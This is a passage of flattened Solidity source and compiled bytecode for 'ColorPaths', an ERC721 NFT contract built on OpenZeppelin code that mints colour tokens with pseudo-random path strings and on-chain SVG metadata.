} } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: src/contracts/Color_helper.sol pragma solidity ^0.8.0; contract ColorHelper is Ownable { // List of colors in circulation string[] internal colors; string[] public mintedColors; // Max and total supply uint private randNonce = 0; // For enumerating through the initial colors list uint internal _index = 0; uint internal stringLength = 8; uint internal numberLength = 8; string[] internal BASE_NUMBERS = ["1","2","2","2","3","3","3","4"]; string[] internal BASE_DIRECTIONS = ["U","D","L","R","Q","E","Z","C"]; constructor() { populateColors(); } function populateColors() internal onlyOwner() { string[122] memory initColors = ['#FFB6C1', '#FFC0CB', '#DC143C', '#DB7093', '#FF69B4', '#FF1493', '#C71585', '#DA70D6', '#D8BFD8', '#DDA0DD', '#EE82EE', '#FF00FF', '#FF00FF', '#8B008B', '#800080', '#BA55D3', '#9400D3', '#9932CC', '#4B0082', '#8A2BE2', '#9370DB', '#7B68EE', '#6A5ACD', '#483D8B', '#E6E6FA', '#0000FF', '#0000CD', '#00008B', '#000080', '#191970', '#4169E1', '#6495ED', '#B0C4DE', '#778899', '#708090', '#1E90FF', '#4682B4', '#87CEFA', '#87CEEB', '#00BFFF', '#ADD8E6', '#B0E0E6', '#5F9EA0', '#00CED1', '#E0FFFF', '#AFEEEE', '#00FFFF', '#00FFFF', '#008B8B', '#008080', '#2F4F4F', '#48D1CC', '#20B2AA', '#40E0D0', '#7FFFD4', '#66CDAA', '#00FA9A', '#00FF7F', '#3CB371', '#2E8B57', '#F0FFF0', '#8FBC8F', '#98FB98', '#90EE90', '#32CD32', '#00FF00', '#228B22', '#008000', '#006400', '#7CFC00', '#7FFF00', '#ADFF2F', '#556B2F', '#9ACD32', '#6B8E23', '#F5F5DC', '#FFFF00', '#808000', '#BDB76B', '#EEE8AA', '#F0E68C', '#FFD700', '#DAA520', '#B8860B', '#F5DEB3', '#FFA500', '#FFE4B5', '#FFEBCD', '#FFDEAD', '#FAEBD7', '#D2B48C', '#DEB887', '#FF8C00', '#FFE4C4', '#CD853F', '#FFDAB9', '#F4A460', '#D2691E', '#8B4513', '#A0522D', '#FFA07A', '#FF7F50', '#FF4500', '#E9967A', '#FF6347', '#FA8072', '#FFE4E1', '#F08080', '#BC8F8F', '#CD5C5C', '#FF0000', '#A52A2A', '#B22222', '#8B0000', '#800000', '#F5F5F5', '#DCDCDC', '#D3D3D3', '#C0C0C0', '#A9A9A9', '#808080', '#696969']; colors.push(initColors[0]); uint len = 100; for (uint i=1; i < len; i++) { randomIndex(initColors[i], i); } } function randomIndex(string memory color, uint len) internal { uint index = getRandomDigit(msg.sender, color, len) % len; colors.push(colors[index]); colors[index] = color; } function getRandomDigit(address tokenOwner, string memory color, uint _id) internal returns(uint256){ uint random = 0; if(tokenOwner == msg.sender){ random = uint(keccak256(abi.encodePacked(block.timestamp, _id, color, randNonce))); } else { random = uint(keccak256(abi.encodePacked(block.timestamp, tokenOwner, _id, color, randNonce))); } randNonce++; return random; } function generatePaths(address tokenOwner, string memory color, uint _id) internal returns(string memory){ /* Get path function Should return a randomized path consisting of the following in A B form A = Direction Up, Down, Left, Right, E: up right, Q: up left, Z: down left C: down right B = Number from 1-3 indicating movement */ string memory path = ""; for (uint i=0; i < 200; i++) { string memory dir = BASE_DIRECTIONS[getRandomDigit(tokenOwner, color, _id) % stringLength]; string memory dis = BASE_NUMBERS[getRandomDigit(tokenOwner, color, _id) % numberLength]; path = append(path, dir, dis); } return path; } function append(string memory a, string memory b, string memory c) internal pure returns (string memory) { return string(abi.encodePacked(a, b, c)); } } // File: src/contracts/Base64.sol pragma solidity ^0.8.0; /** * @title Base64 * @author Brecht Devos <brecht@loopring.org> * * @notice Provides a function for encoding some bytes in base64. */ library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /** * @notice Encodes some bytes to the base64 representation. */ function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } } // File: src/contracts/ColorPaths.sol pragma solidity ^0.8.0; contract ColorPaths is ERC721, Ownable, ColorHelper { // List of colors in circulation // mapping color -> score (leaderboard) mapping(string => uint) internal _leaderboard; // mapping color -> token ID mapping(string => uint) internal _colorIds; // Mapping Color -> Path mapping(string => string) internal _colorPaths; // Mapping id => color mapping(uint => string) internal _idColor; // Max and total supply uint public maxSupply = 100; uint internal totalSupply = 0; // is minting open? bool internal openMinting = false; // Owner of the Colors contract (msg.sender) address contractOwner; constructor() ERC721("ColorPaths", "PATHS") { contractOwner = msg.sender; } function preMint(address preMintAddress) public onlyOwner() { string memory color = colors[ColorHelper._index]; _colorPaths[color] = generatePaths(preMintAddress, color, ColorHelper._index); _safeMint(preMintAddress, ColorHelper._index); mintTracker(color); } function donePremint() public onlyOwner() { openMinting = true; } function mint() public payable { require(openMinting == true, "Minting is not open yet, follow my twitter for more information @0xshaintgod"); require(totalSupply < maxSupply); require(colors.length != 0); require(balanceOf(msg.sender) < 2); string memory color = colors[ColorHelper._index]; _colorPaths[color] = generatePaths(msg.sender, color, ColorHelper._index); _safeMint(msg.sender, ColorHelper._index); mintTracker(color); } function mintTracker(string memory color) internal { _leaderboard[color] = 0; _colorIds[color] = ColorHelper._index; mintedColors.push(color); totalSupply++; _idColor[ColorHelper._index] = color; ColorHelper._index++; } function addScore(string memory color, uint score) public onlyOwner() { _leaderboard[color] = score; } // Utils function getOwnerCount(address account) public view returns (uint) { return balanceOf(account); } function getTotalSupply() public view returns (uint) { return totalSupply; } function getColorOwner(string memory color) public view returns(address) { return ownerOf(_colorIds[color]); } function getScore(string memory color) public view returns(uint) { return _leaderboard[color]; } function getId(string memory color) public view returns(uint) { return _colorIds[color]; } function getPath(string memory color) public view returns(string memory) { return _colorPaths[color]; } function getIdOwner(uint _tokenId) public view returns(address) { return ownerOf(_tokenId); } function getMetaData(uint _tokenId) public view returns(uint, uint, string memory, string memory, address) { string memory color = _idColor[_tokenId]; return (_tokenId, getScore(color), color, _colorPaths[color], ownerOf(_tokenId)); } function tokenURI(uint256 tokenId) override public view returns (string memory) { string[11] memory parts; parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 325 300"><style>.base { fill: white; font-family: serif; font-size: 14px;}</style>'; parts[1] = '<rect x="0" y="0" width="350" height="300"/>'; parts[2] = '<foreignObject x="0" y="0" width="325" height="300"><body style="background-color:'; parts[3] = _idColor[tokenId]; parts[4] = ';" '; parts[5] = 'width="300" height="300" xmlns="http://www.w3.org/1999/xhtml">'; parts[6] = '<div>COLOR: '; parts[7] = _idColor[tokenId]; parts[8] = '</div><div style="color:black; overflow-wrap: break-word;" > PATH: '; parts[9] = getPath(_idColor[tokenId]); parts[10] = '</div></body></foreignObject></svg>'; string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])); output = string(abi.encodePacked(output, parts[9], parts[10])); string memory json = Base64.encode(bytes(string(abi.encodePacked( '{"name": "Color #', _idColor[tokenId], '", "description": "colorpaths is a randomized generative art experiment that creates a path string for each unique color minted. There is no defined way to visualize this string, it is up to the owner to decide how to visualize the art from the path.","image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}' )))); output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } } // File: src/contracts/Migrations.sol /* pragma solidity >=0.4.21 <0.6.0; */ pragma solidity ^0.8.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } }
0x6080604052600436106101cd5760003560e01c806395d89b41116100f7578063c87b56dd11610095578063e985e9c511610064578063e985e9c514610512578063f2fde38b1461055b578063f4c5cd3c1461057b578063fd955ed91461059b57600080fd5b8063c87b56dd1461049c578063d5abeb01146104bc578063d6257ac5146104d2578063e2f7c362146104f257600080fd5b8063b51b263e116100d1578063b51b263e14610427578063b88d4fde14610447578063bee51f3b14610467578063c4e41b221461048757600080fd5b806395d89b41146103d2578063a22cb465146103e7578063af61c6a61461040757600080fd5b806323b872dd1161016f57806370a082311161013e57806370a082311461035f578063715018a61461037f5780638da5cb5b1461039457806391308711146103b257600080fd5b806323b872dd146102ce57806342842e0e146102ee57806361eba5521461030e5780636352211e1461033f57600080fd5b8063095ea7b3116101ab578063095ea7b3146102615780631249c58b14610283578063160202731461028b5780631ae0936b146102b957600080fd5b806301ffc9a7146101d257806306fdde0314610207578063081812fc14610229575b600080fd5b3480156101de57600080fd5b506101f26101ed366004612446565b6105bb565b60405190151581526020015b60405180910390f35b34801561021357600080fd5b5061021c61060d565b6040516101fe91906129a7565b34801561023557600080fd5b506102496102443660046124fa565b61069f565b6040516001600160a01b0390911681526020016101fe565b34801561026d57600080fd5b5061028161027c36600461241c565b610739565b005b61028161084f565b34801561029757600080fd5b506102ab6102a6366004612480565b610a15565b6040519081526020016101fe565b3480156102c557600080fd5b50610281610a3d565b3480156102da57600080fd5b506102816102e9366004612328565b610a76565b3480156102fa57600080fd5b50610281610309366004612328565b610aa7565b34801561031a57600080fd5b5061032e6103293660046124fa565b610ac2565b6040516101fe959493929190612a92565b34801561034b57600080fd5b5061024961035a3660046124fa565b610c3b565b34801561036b57600080fd5b506102ab61037a3660046122da565b610cb2565b34801561038b57600080fd5b50610281610d39565b3480156103a057600080fd5b506006546001600160a01b0316610249565b3480156103be57600080fd5b506102ab6103cd3660046122da565b610d6f565b3480156103de57600080fd5b5061021c610d7a565b3480156103f357600080fd5b506102816104023660046123e0565b610d89565b34801561041357600080fd5b5061021c610422366004612480565b610e4e565b34801561043357600080fd5b506102496104423660046124fa565b610efe565b34801561045357600080fd5b50610281610462366004612364565b610f09565b34801561047357600080fd5b506102ab610482366004612480565b610f41565b34801561049357600080fd5b506014546102ab565b3480156104a857600080fd5b5061021c6104b73660046124fa565b610f53565b3480156104c857600080fd5b506102ab60135481565b3480156104de57600080fd5b506102496104ed366004612480565b611370565b3480156104fe57600080fd5b5061021c61050d3660046124fa565b611399565b34801561051e57600080fd5b506101f261052d3660046122f5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561056757600080fd5b506102816105763660046122da565b611445565b34801561058757600080fd5b506102816105963660046124b5565b6114dd565b3480156105a757600080fd5b506102816105b63660046122da565b61152c565b60006001600160e01b031982166380ac58cd60e01b14806105ec57506001600160e01b03198216635b5e139f60e01b145b8061060757506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606000805461061c90612b6c565b80601f016020809104026020016040519081016040528092919081815260200182805461064890612b6c565b80156106955780601f1061066a57610100808354040283529160200191610695565b820191906000526020600020905b81548152906001019060200180831161067857829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b031661071d5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061074482610c3b565b9050806001600160a01b0316836001600160a01b031614156107b25760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610714565b336001600160a01b03821614806107ce57506107ce813361052d565b6108405760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610714565b61084a838361165a565b505050565b60155460ff1615156001146108e15760405162461bcd60e51b815260206004820152604c60248201527f4d696e74696e67206973206e6f74206f70656e207965742c20666f6c6c6f772060448201527f6d79207477697474657220666f72206d6f726520696e666f726d6174696f6e2060648201526b100c1e1cda185a5b9d19dbd960a21b608482015260a401610714565b601354601454106108f157600080fd5b6007546108fd57600080fd5b600261090833610cb2565b1061091257600080fd5b60006007600a548154811061092957610929612c02565b90600052602060002001805461093e90612b6c565b80601f016020809104026020016040519081016040528092919081815260200182805461096a90612b6c565b80156109b75780601f1061098c576101008083540402835291602001916109b7565b820191906000526020600020905b81548152906001019060200180831161099a57829003601f168201915b505050505090506109cb3382600a546116c8565b6011826040516109db919061255b565b908152602001604051809103902090805190602001906109fc929190612160565b50610a0933600a54611893565b610a12816118ad565b50565b6000600f82604051610a27919061255b565b9081526020016040518091039020549050919050565b6006546001600160a01b03163314610a675760405162461bcd60e51b815260040161071490612a0c565b6015805460ff19166001179055565b610a80338261198c565b610a9c5760405162461bcd60e51b815260040161071490612a41565b61084a838383611a83565b61084a83838360405180602001604052806000815250610f09565b600080606080600080601260008881526020019081526020016000208054610ae990612b6c565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1590612b6c565b8015610b625780601f10610b3757610100808354040283529160200191610b62565b820191906000526020600020905b815481529060010190602001808311610b4557829003601f168201915b5050505050905086610b7382610a15565b82601184604051610b84919061255b565b9081526020016040518091039020610b9b8b610c3b565b818054610ba790612b6c565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd390612b6c565b8015610c205780601f10610bf557610100808354040283529160200191610c20565b820191906000526020600020905b815481529060010190602001808311610c0357829003601f168201915b50505050509150955095509550955095505091939590929450565b6000818152600260205260408120546001600160a01b0316806106075760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610714565b60006001600160a01b038216610d1d5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610714565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610d635760405162461bcd60e51b815260040161071490612a0c565b610d6d6000611c23565b565b600061060782610cb2565b60606001805461061c90612b6c565b6001600160a01b038216331415610de25760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610714565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6060601182604051610e60919061255b565b90815260200160405180910390208054610e7990612b6c565b80601f0160208091040260200160405190810160405280929190818152602001828054610ea590612b6c565b8015610ef25780601f10610ec757610100808354040283529160200191610ef2565b820191906000526020600020905b815481529060010190602001808311610ed557829003601f168201915b50505050509050919050565b600061060782610c3b565b610f13338361198c565b610f2f5760405162461bcd60e51b815260040161071490612a41565b610f3b84848484611c75565b50505050565b6000601082604051610a27919061255b565b6060610f5d6121e4565b6040518060e0016040528060ab8152602001612da760ab913981526040805160608101909152602c808252612cd560208301398160016020020181905250604051806080016040528060528152602001612c836052913960408083019190915260008481526012602052208054610fd390612b6c565b80601f0160208091040260200160405190810160405280929190818152602001828054610fff90612b6c565b801561104c5780601f106110215761010080835404028352916020019161104c565b820191906000526020600020905b81548152906001019060200180831161102f57829003601f168201915b5050505050816003600b811061106457611064612c02565b60200201819052506040518060400160405280600381526020016201d91160ed1b815250816004600b811061109b5761109b612c02565b60200201819052506040518060600160405280603e8152602001612c45603e913960a0820152604080518082018252600c81526b01e3234bb1f21a7a627a91d160a51b60208083019190915260c08401919091526000858152601290915220805461110590612b6c565b80601f016020809104026020016040519081016040528092919081815260200182805461113190612b6c565b801561117e5780601f106111535761010080835404028352916020019161117e565b820191906000526020600020905b81548152906001019060200180831161116157829003601f168201915b5050505050816007600b811061119657611196612c02565b6020020181905250604051806080016040528060438152602001612d64604391396101008201526000838152601260205260409020805461125e91906111db90612b6c565b80601f016020809104026020016040519081016040528092919081815260200182805461120790612b6c565b80156112545780601f1061122957610100808354040283529160200191611254565b820191906000526020600020905b81548152906001019060200180831161123757829003601f168201915b5050505050610e4e565b61012082015260408051606081019091526023808252612d41602083013961014082015280516020808301516040808501516060860151608087015160a088015160c089015160e08a01516101008b0151965160009a6112c29a90999891016125ba565b60408051808303601f19018152908290526101208401516101408501519193506112f192849290602001612577565b60408051601f1981840301815291815260008681526012602052908120919250906113449061131f84611ca8565b6040516020016113309291906126c0565b604051602081830303815290604052611ca8565b905080604051602001611357919061267b565b60408051601f1981840301815291905295945050505050565b6000610607601083604051611385919061255b565b908152602001604051809103902054610c3b565b600881815481106113a957600080fd5b9060005260206000200160009150905080546113c490612b6c565b80601f01602080910402602001604051908101604052809291908181526020018280546113f090612b6c565b801561143d5780601f106114125761010080835404028352916020019161143d565b820191906000526020600020905b81548152906001019060200180831161142057829003601f168201915b505050505081565b6006546001600160a01b0316331461146f5760405162461bcd60e51b815260040161071490612a0c565b6001600160a01b0381166114d45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610714565b610a1281611c23565b6006546001600160a01b031633146115075760405162461bcd60e51b815260040161071490612a0c565b80600f83604051611518919061255b565b908152604051908190036020019020555050565b6006546001600160a01b031633146115565760405162461bcd60e51b815260040161071490612a0c565b60006007600a548154811061156d5761156d612c02565b90600052602060002001805461158290612b6c565b80601f01602080910402602001604051908101604052809291908181526020018280546115ae90612b6c565b80156115fb5780601f106115d0576101008083540402835291602001916115fb565b820191906000526020600020905b8154815290600101906020018083116115de57829003601f168201915b5050505050905061160f8282600a546116c8565b60118260405161161f919061255b565b90815260200160405180910390209080519060200190611640929190612160565b5061164d82600a54611893565b611656816118ad565b5050565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061168f82610c3b565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60408051602081019091526000808252606091905b60c881101561188a576000600e600b546116f8898989611e0e565b6117029190612bc2565b8154811061171257611712612c02565b90600052602060002001805461172790612b6c565b80601f016020809104026020016040519081016040528092919081815260200182805461175390612b6c565b80156117a05780601f10611775576101008083540402835291602001916117a0565b820191906000526020600020905b81548152906001019060200180831161178357829003601f168201915b505050505090506000600d600c546117b98a8a8a611e0e565b6117c39190612bc2565b815481106117d3576117d3612c02565b9060005260206000200180546117e890612b6c565b80601f016020809104026020016040519081016040528092919081815260200182805461181490612b6c565b80156118615780601f1061183657610100808354040283529160200191611861565b820191906000526020600020905b81548152906001019060200180831161184457829003601f168201915b50505050509050611873848383611eaf565b93505050808061188290612ba7565b9150506116dd565b50949350505050565b611656828260405180602001604052806000815250611ede565b6000600f826040516118bf919061255b565b908152602001604051809103902081905550600a546010826040516118e4919061255b565b908152604051602091819003820190209190915560088054600181018255600091909152825161193b927ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee390920191840190612160565b506014805490600061194c83612ba7565b9091555050600a546000908152601260209081526040909120825161197392840190612160565b50600a805490600061198483612ba7565b919050555050565b6000818152600260205260408120546001600160a01b0316611a055760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610714565b6000611a1083610c3b565b9050806001600160a01b0316846001600160a01b03161480611a4b5750836001600160a01b0316611a408461069f565b6001600160a01b0316145b80611a7b57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611a9682610c3b565b6001600160a01b031614611afe5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610714565b6001600160a01b038216611b605760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610714565b611b6b60008261165a565b6001600160a01b0383166000908152600360205260408120805460019290611b94908490612b29565b90915550506001600160a01b0382166000908152600360205260408120805460019290611bc2908490612ade565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611c80848484611a83565b611c8c84848484611f11565b610f3b5760405162461bcd60e51b8152600401610714906129ba565b805160609080611cc8575050604080516020810190915260008152919050565b60006003611cd7836002612ade565b611ce19190612af6565b611cec906004612b0a565b90506000611cfb826020612ade565b67ffffffffffffffff811115611d1357611d13612c18565b6040519080825280601f01601f191660200182016040528015611d3d576020820181803683370190505b5090506000604051806060016040528060408152602001612d01604091399050600181016020830160005b86811015611dc9576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b835260049092019101611d68565b506003860660018114611de35760028114611df457611e00565b613d3d60f01b600119830152611e00565b603d60f81b6000198301525b505050918152949350505050565b6000806001600160a01b038516331415611e5a57600954604051611e3a91429186918891602001612940565b6040516020818303038152906040528051906020012060001c9050611e91565b42858486600954604051602001611e759594939291906128f3565b6040516020818303038152906040528051906020012060001c90505b60098054906000611ea183612ba7565b909155509095945050505050565b6060838383604051602001611ec693929190612577565b60405160208183030381529060405290509392505050565b611ee8838361201e565b611ef56000848484611f11565b61084a5760405162461bcd60e51b8152600401610714906129ba565b60006001600160a01b0384163b1561201357604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611f55903390899088908890600401612974565b602060405180830381600087803b158015611f6f57600080fd5b505af1925050508015611f9f575060408051601f3d908101601f19168201909252611f9c91810190612463565b60015b611ff9573d808015611fcd576040519150601f19603f3d011682016040523d82523d6000602084013e611fd2565b606091505b508051611ff15760405162461bcd60e51b8152600401610714906129ba565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611a7b565b506001949350505050565b6001600160a01b0382166120745760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610714565b6000818152600260205260409020546001600160a01b0316156120d95760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610714565b6001600160a01b0382166000908152600360205260408120805460019290612102908490612ade565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461216c90612b6c565b90600052602060002090601f01602090048101928261218e57600085556121d4565b82601f106121a757805160ff19168380011785556121d4565b828001600101855582156121d4579182015b828111156121d45782518255916020019190600101906121b9565b506121e092915061220c565b5090565b604051806101600160405280600b905b60608152602001906001900390816121f45790505090565b5b808211156121e0576000815560010161220d565b600067ffffffffffffffff8084111561223c5761223c612c18565b604051601f8501601f19908116603f0116810190828211818310171561226457612264612c18565b8160405280935085815286868601111561227d57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b03811681146122ae57600080fd5b919050565b600082601f8301126122c457600080fd5b6122d383833560208501612221565b9392505050565b6000602082840312156122ec57600080fd5b6122d382612297565b6000806040838503121561230857600080fd5b61231183612297565b915061231f60208401612297565b90509250929050565b60008060006060848603121561233d57600080fd5b61234684612297565b925061235460208501612297565b9150604084013590509250925092565b6000806000806080858703121561237a57600080fd5b61238385612297565b935061239160208601612297565b925060408501359150606085013567ffffffffffffffff8111156123b457600080fd5b8501601f810187136123c557600080fd5b6123d487823560208401612221565b91505092959194509250565b600080604083850312156123f357600080fd5b6123fc83612297565b91506020830135801515811461241157600080fd5b809150509250929050565b6000806040838503121561242f57600080fd5b61243883612297565b946020939093013593505050565b60006020828403121561245857600080fd5b81356122d381612c2e565b60006020828403121561247557600080fd5b81516122d381612c2e565b60006020828403121561249257600080fd5b813567ffffffffffffffff8111156124a957600080fd5b611a7b848285016122b3565b600080604083850312156124c857600080fd5b823567ffffffffffffffff8111156124df57600080fd5b6124eb858286016122b3565b95602094909401359450505050565b60006020828403121561250c57600080fd5b5035919050565b6000815180845261252b816020860160208601612b40565b601f01601f19169290920160200192915050565b60008151612551818560208601612b40565b9290920192915050565b6000825161256d818460208701612b40565b9190910192915050565b60008451612589818460208901612b40565b84519083019061259d818360208901612b40565b84519101906125b0818360208801612b40565b0195945050505050565b60008a516125cc818460208f01612b40565b8a516125de8183860160208f01612b40565b8a5191840101906125f3818360208e01612b40565b89516126058183850160208e01612b40565b895192909101019061261b818360208c01612b40565b875161262d8183850160208c01612b40565b8751929091010190612643818360208a01612b40565b85516126558183850160208a01612b40565b855192909101019061266b818360208801612b40565b019b9a5050505050505050505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c0000008152600082516126b381601d850160208701612b40565b91909101601d0192915050565b707b226e616d65223a2022436f6c6f72202360781b815282546000906011908290600181811c90808316806126f657607f831692505b602080841082141561271657634e487b7160e01b86526022600452602486fd5b81801561272a576001811461273f57612770565b60ff1986168a890152848a0188019650612770565b60008c81526020902060005b868110156127665781548c82018b015290850190830161274b565b505087858b010196505b50507f222c20226465736372697074696f6e223a2022636f6c6f727061746873206973855250507f20612072616e646f6d697a65642067656e657261746976652061727420657870602084015250507f6572696d656e742074686174206372656174657320612070617468207374726960408201527f6e6720666f72206561636820756e6971756520636f6c6f72206d696e7465642e60608201527f205468657265206973206e6f20646566696e65642077617920746f207669737560808201527f616c697a65207468697320737472696e672c20697420697320757020746f207460a08201527f6865206f776e657220746f2064656369646520686f7720746f2076697375616c60c08201527f697a6520746865206172742066726f6d2074686520706174682e222c22696d6160e08201527f6765223a2022646174613a696d6167652f7376672b786d6c3b6261736536342c6101008201526128e96128db61012083018761253f565b61227d60f01b815260020190565b9695505050505050565b8581526bffffffffffffffffffffffff198560601b16602082015283603482015260008351612929816054850160208801612b40565b605492019182019290925260740195945050505050565b8481528360208201526000835161295e816040850160208801612b40565b6040920191820192909252606001949350505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906128e990830184612513565b6020815260006122d36020830184612513565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b85815284602082015260a060408201526000612ab160a0830186612513565b8281036060840152612ac38186612513565b91505060018060a01b03831660808301529695505050505050565b60008219821115612af157612af1612bd6565b500190565b600082612b0557612b05612bec565b500490565b6000816000190483118215151615612b2457612b24612bd6565b500290565b600082821015612b3b57612b3b612bd6565b500390565b60005b83811015612b5b578181015183820152602001612b43565b83811115610f3b5750506000910152565b600181811c90821680612b8057607f821691505b60208210811415612ba157634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612bbb57612bbb612bd6565b5060010190565b600082612bd157612bd1612bec565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e